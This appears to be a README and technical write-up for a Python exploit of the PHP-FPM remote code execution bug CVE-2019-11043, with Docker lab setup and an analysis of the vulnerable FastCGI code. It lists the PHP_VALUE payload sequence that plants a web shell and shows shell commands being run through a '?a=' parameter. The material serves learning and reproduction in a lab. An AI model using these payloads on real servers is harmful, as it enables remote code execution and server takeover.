PHP-FPM Remote Code Execution
Screencast: https://youtu.be/d6benC5FVZM
This zero-day exploit in common PHP-FPM configurations was discovered during the Realworld CTF competition in 2019. A regular expression is used to parse the requested URI, but newline characters %0a
are not matched. This triggers a bug in FastCGI which computes the query string length incorrectly and writes a null byte to a location before the start of the intended buffer. By careful selection of the query string length, an attacker can use this bug to overwrite internal PHP variables on the server and execute arbitrary shell code.
The original Go implementation of this exploit can be found in here. I have used this, a write up and the original bug report as learning resources in order to implement the exploit in Python.
Docker on Linux Run sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043
to instantiate a barebone NGINX/PHP-FPM server with an empty script at /script.php
. The Dockerfile for this image is available here, though it is not needed to run the aforementioned command.
Docker on Mac Run sudo docker-compuse up -d
from the /php/CVE-2019-11043
directory of the vulhub repository. (Compose is included with Docker for Mac.)
Run the exploit script with the command python3 exploit.py http://localhost:8080/script.php
(or /index.php
if the second option was used). Upon successful execution, a Web shell will be accessible by appending commands to the URL after ?a=
(e.g., http://localhost:8080/script.php?a=uname -a
).
N.B. I did attempt to create an Ansible playbook for this assignment, but I came up against a show-stopping bug documented here. It is not possible to start systemd services on recent Linux kernels (e.g., any Ubuntu LTS release) with an Ansible playbook.
PHP-FPM configuration files contain a rule for matching incoming URI requests to PHP scripts which often look like this:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
This should match any URI in the form /script.php/pathinfo
, but .
actually doesn't match new line %0a
characters. If the URI contains a new line, it will trigger the following bug in the PHP implementation:
1141 int ptlen = strlen(pt);
1142 int slen = len - ptlen;
1143 int pilen = env_path_info ? strlen(env_path_info) : 0;
1144 int tflag = 0;
1145 char *path_info;
1146 if (apache_was_here) {
1147 /* recall that PATH_INFO won't exist */
1148 path_info = script_path_translated + ptlen;
1149 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150 } else {
1151 path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152 tflag = (orig_path_info != path_info);
1153 }
The issue here is that slen
is correctly computed as the length of the URI minus the length of the resource path, but pilen
is mistakenly set to 0. This sets path_info
to a negative value on line 1151, resulting in a buffer underflow. Immediately after this miscalculation in the same file, we have:
1159 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160 old = path_info[0];
1161 path_info[0] = 0;
1162 if (!orig_script_name ||
1163 strcmp(orig_script_name, env_path_info) != 0) {
1164 if (orig_script_name) {
1165 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166 }
1167 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168 } else {
1169 SG(request_info).request_uri = orig_script_name;
1170 }
1171 path_info[0] = old;
On line 1161, a null byte is written to the miscalculated memory location from the previous step. This can be leveraged to exploit a vulnerability on line 1165, where FastCGI writes an environment variable. By writing the null byte into the pointer controlling the environment variable write operation, we can insert abitrary PHP variables into the environment with our HTTP requests.
The environment variables in FastCGI are stored in a tightly packed sequence of key-value string pairs in memory. The start and end of the buffer holding these strings is called _fcgi_data_seg
. The pos
member points to the next available place to write. If the buffer fills up (pos > end
), a new one is allocated and the next
member points towards the old one.
118 typedef struct _fcgi_data_seg {
119 char *pos;
120 char *end;
121 struct _fcgi_data_seg *next;
122 char data[1];
123 } fcgi_data_seg;
FastCGI accesses individual environment variables using a hash table called _fcgi_hash
.
125 typedef struct _fcgi_hash {
126 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
127 fcgi_hash_bucket *list;
128 fcgi_hash_buckets *buckets;
129 fcgi_data_seg *data;
130 } fcgi_hash;
The idea here is to overwrite the least significant byte of pos
in order to trick FastCGI into overwriting an existing variable. The code is supposed to take the string appended to our URI path and place it in the location for PATH_INFO
. However, we want to overwrite PHP_VALUE
, because this value is immediately retrieved and loaded into the PHP settings after the vulnerable code segnment.
As you can see in exploit.py
, the general premise of this exploit is to find a very long URI query that will align FastCGI's internal memory buffer in a way we can abuse. The idea is to find the exact number of characters required for FastCGI to allocate a new _fcgi_data_seg
buffer. When this occurs, FastCGI will predictably write our PATH_INFO
into the new buffer, followed immediately by each of our HTTP headers as new environment values. So, the next step is to find how many characters we need to pad an arbitrary HTTP header with in order to align memory for our purposes. Since we are limited to writing on null byte to an arbitrary location, we need to get pos
pointed at a predictable offset to PHP_VALUE
so that editing the least significant byte will move it there.
The challenge is that we want to overwrite PHP_VALUE
, but we don't know where this is located in memory. When FastCGI loads this variable, it will hash the string PHP_VALUE
to get the actual memory address according to a simple algorithm:
31 #define FCGI_HASH_FUNC(var, var_len) \
32 (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33 (((unsigned int)var[3]) << 2) + \
34 (((unsigned int)var[var_len-2]) << 4) + \
35 (((unsigned int)var[var_len-1]) << 2) + \
36 var_len)
Instead of actually modifying the hash table in some way, all we have to do is create another environment variable with the same string length and hash as PHP_VALUE
according to this function. This will trick the hash lookup into reading our HTTP header instead of the intended variable. The author of this exploit cleverly noted that a header called EBUT
will be saved as HTTP_EBUT
in the FastCGI environment, which fulfills this requirement.
For the attack itself, we send GET requests containing our EBUT
header and use the null byte overwrite bug to overwrite its value. We attempt to set PHP environment variables one at a time with repeated requests:
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"
Successful modification of all of these variables enables a new query ?a=
on the server for arbitrary shell code execution. The attack loop checks for success on each iteration by attemptying to execute which which
. The attacker can easily detect whether this was successful by reading result from the HTTP response (e.g., /bin/which
).